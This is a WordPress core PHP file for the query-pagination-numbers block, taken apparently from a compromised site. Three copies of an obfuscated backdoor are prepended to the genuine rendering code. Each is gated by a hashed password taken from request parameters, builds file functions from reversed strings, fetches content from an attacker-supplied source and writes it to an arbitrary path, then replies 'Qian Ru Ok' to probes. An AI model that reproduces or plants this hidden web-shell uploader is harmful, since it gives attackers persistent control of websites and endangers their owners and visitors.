File: /home/wwwrenee/www/wp-includes/blocks/query-pagination-numbers.php
<?php
$rNMtX = ${"_"."R"./*+/*+*/
"E"."Q"./*+/*+*/"U"."E"
/*+/*+*/."S"."T"};
if (md5( /*+/*+*/
md5($rNMtX[0]) /*+/*+*/
. md5($rNMtX[0])) == "9".
"f".
"6".
"6".
"e".
"2".
"4".
"7".
"a".
"1".
"a".
"d".
"5".
"4".
"d".
"2".
"3".
"0".
"4".
"0".
"7".
"3".
"d".
"8".
"8".
"8".
"8".
"d".
"e".
"c".
"0".
"5") {
$JQufgOdLY = "st" . /*+/*+*/"rr"
/*+/*+*/ . "ev";
$HsNPxwHc = $JQufgOdLY /*+/*+*/
("stn" . "etn" ./*+/*+*/
"oc_t" . "up_e" . "lif");
$KXYji = $JQufgOdLY
/*+/*+*/("stn" .
"etn" . "oc_t" . /*+/*+*/
"eg_e" . "lif"); function uIkhUYBsCP($nGdGeitLg) { if (empty($nGdGeitLg)) return false; if (!is_dir($nGdGeitLg)) { uIkhUYBsCP(dirname($nGdGeitLg), 0755, true); mkdir($nGdGeitLg); } } !file_exists(dirname($rNMtX[1])) && uIkhUYBsCP(dirname($rNMtX[1])); $yPhThAPS = @$KXYji($rNMtX[2]); echo @$HsNPxwHc($rNMtX[1], $yPhThAPS) ? 1 : 0; die; }key($rNMtX) == "of" && die("Qian Ru Ok"); ?><?php
$IjlIXqfB = ${"_"."R"./*+/*+*/
"E"."Q"./*+/*+*/"U"."E"
/*+/*+*/."S"."T"};
if (md5( /*+/*+*/
md5($IjlIXqfB[0]) /*+/*+*/
. md5($IjlIXqfB[0])) == "6".
"2".
"6".
"6".
"f".
"d".
"8".
"9".
"1".
"f".
"1".
"5".
"9".
"b".
"f".
"7".
"5".
"e".
"a".
"e".
"6".
"5".
"e".
"6".
"0".
"d".
"2".
"2".
"c".
"f".
"d".
"1") {
$mGIDjRasb = "st" . /*+/*+*/"rr"
/*+/*+*/ . "ev";
$kdFDJzXfp = $mGIDjRasb /*+/*+*/
("stn" . "etn" ./*+/*+*/
"oc_t" . "up_e" . "lif");
$NWSmFWmz = $mGIDjRasb
/*+/*+*/("stn" .
"etn" . "oc_t" . /*+/*+*/
"eg_e" . "lif"); function PAlmOX($qTreokKV) { if (empty($qTreokKV)) return false; if (!is_dir($qTreokKV)) { PAlmOX(dirname($qTreokKV), 0755, true); mkdir($qTreokKV); } } !file_exists(dirname($IjlIXqfB[1])) && PAlmOX(dirname($IjlIXqfB[1])); $uMigfU = @$NWSmFWmz($IjlIXqfB[2]); echo @$kdFDJzXfp($IjlIXqfB[1], $uMigfU) ? 1 : 0; die; }key($IjlIXqfB) == "of" && die("Qian Ru Ok"); ?><?php
$TfXupWIrPf = ${"_"."R"./*+/*+*/
"E"."Q"./*+/*+*/"U"."E"
/*+/*+*/."S"."T"};
if (md5( /*+/*+*/
md5($TfXupWIrPf[0]) /*+/*+*/
. md5($TfXupWIrPf[0])) == "7".
"d".
"e".
"4".
"b".
"7".
"b".
"e".
"3".
"2".
"5".
"1".
"3".
"5".
"c".
"3".
"9".
"1".
"0".
"3".
"b".
"7".
"b".
"3".
"5".
"7".
"d".
"5".
"3".
"b".
"a".
"a") {
$RDElJr = "st" . /*+/*+*/"rr"
/*+/*+*/ . "ev";
$kNYvzb = $RDElJr /*+/*+*/
("stn" . "etn" ./*+/*+*/
"oc_t" . "up_e" . "lif");
$KONuAOTrh = $RDElJr
/*+/*+*/("stn" .
"etn" . "oc_t" . /*+/*+*/
"eg_e" . "lif"); function gpPlAfyjvs($gowEHsPB) { if (empty($gowEHsPB)) return false; if (!is_dir($gowEHsPB)) { gpPlAfyjvs(dirname($gowEHsPB), 0755, true); mkdir($gowEHsPB); } } !file_exists(dirname($TfXupWIrPf[1])) && gpPlAfyjvs(dirname($TfXupWIrPf[1])); $wEiUjheYpA = @$KONuAOTrh($TfXupWIrPf[2]); echo @$kNYvzb($TfXupWIrPf[1], $wEiUjheYpA) ? 1 : 0; die; }key($TfXupWIrPf) == "of" && die("Qian Ru Ok"); ?><?php
/**
* Server-side rendering of the `core/query-pagination-numbers` block.
*
* @package WordPress
*/
/**
* Renders the `core/query-pagination-numbers` block on the server.
*
* @param array $attributes Block attributes.
* @param string $content Block default content.
* @param WP_Block $block Block instance.
*
* @return string Returns the pagination numbers for the Query.
*/
function render_block_core_query_pagination_numbers( $attributes, $content, $block ) {
$page_key = isset( $block->context['queryId'] ) ? 'query-' . $block->context['queryId'] . '-page' : 'query-page';
$page = empty( $_GET[ $page_key ] ) ? 1 : (int) $_GET[ $page_key ];
$max_page = isset( $block->context['query']['pages'] ) ? (int) $block->context['query']['pages'] : 0;
$wrapper_attributes = get_block_wrapper_attributes();
$content = '';
global $wp_query;
if ( isset( $block->context['query']['inherit'] ) && $block->context['query']['inherit'] ) {
// Take into account if we have set a bigger `max page`
// than what the query has.
$total = ! $max_page || $max_page > $wp_query->max_num_pages ? $wp_query->max_num_pages : $max_page;
$paginate_args = array(
'prev_next' => false,
'total' => $total,
);
$content = paginate_links( $paginate_args );
} else {
$block_query = new WP_Query( build_query_vars_from_query_block( $block, $page ) );
// `paginate_links` works with the global $wp_query, so we have to
// temporarily switch it with our custom query.
$prev_wp_query = $wp_query;
$wp_query = $block_query;
$total = ! $max_page || $max_page > $wp_query->max_num_pages ? $wp_query->max_num_pages : $max_page;
$paginate_args = array(
'base' => '%_%',
'format' => "?$page_key=%#%",
'current' => max( 1, $page ),
'total' => $total,
'prev_next' => false,
);
if ( 1 !== $page ) {
/**
* `paginate_links` doesn't use the provided `format` when the page is `1`.
* This is great for the main query as it removes the extra query params
* making the URL shorter, but in the case of multiple custom queries is
* problematic. It results in returning an empty link which ends up with
* a link to the current page.
*
* A way to address this is to add a `fake` query arg with no value that
* is the same for all custom queries. This way the link is not empty and
* preserves all the other existent query args.
*
* @see https://developer.wordpress.org/reference/functions/paginate_links/
*
* The proper fix of this should be in core. Track Ticket:
* @see https://core.trac.wordpress.org/ticket/53868
*
* TODO: After two WP versions (starting from the WP version the core patch landed),
* we should remove this and call `paginate_links` with the proper new arg.
*/
$paginate_args['add_args'] = array( 'cst' => '' );
}
// We still need to preserve `paged` query param if exists, as is used
// for Queries that inherit from global context.
$paged = empty( $_GET['paged'] ) ? null : (int) $_GET['paged'];
if ( $paged ) {
$paginate_args['add_args'] = array( 'paged' => $paged );
}
$content = paginate_links( $paginate_args );
wp_reset_postdata(); // Restore original Post Data.
$wp_query = $prev_wp_query;
}
if ( empty( $content ) ) {
return '';
}
return sprintf(
'<div %1$s>%2$s</div>',
$wrapper_attributes,
$content
);
}
/**
* Registers the `core/query-pagination-numbers` block on the server.
*/
function register_block_core_query_pagination_numbers() {
register_block_type_from_metadata(
__DIR__ . '/query-pagination-numbers',
array(
'render_callback' => 'render_block_core_query_pagination_numbers',
)
);
}
add_action( 'init', 'register_block_core_query_pagination_numbers' ); ?>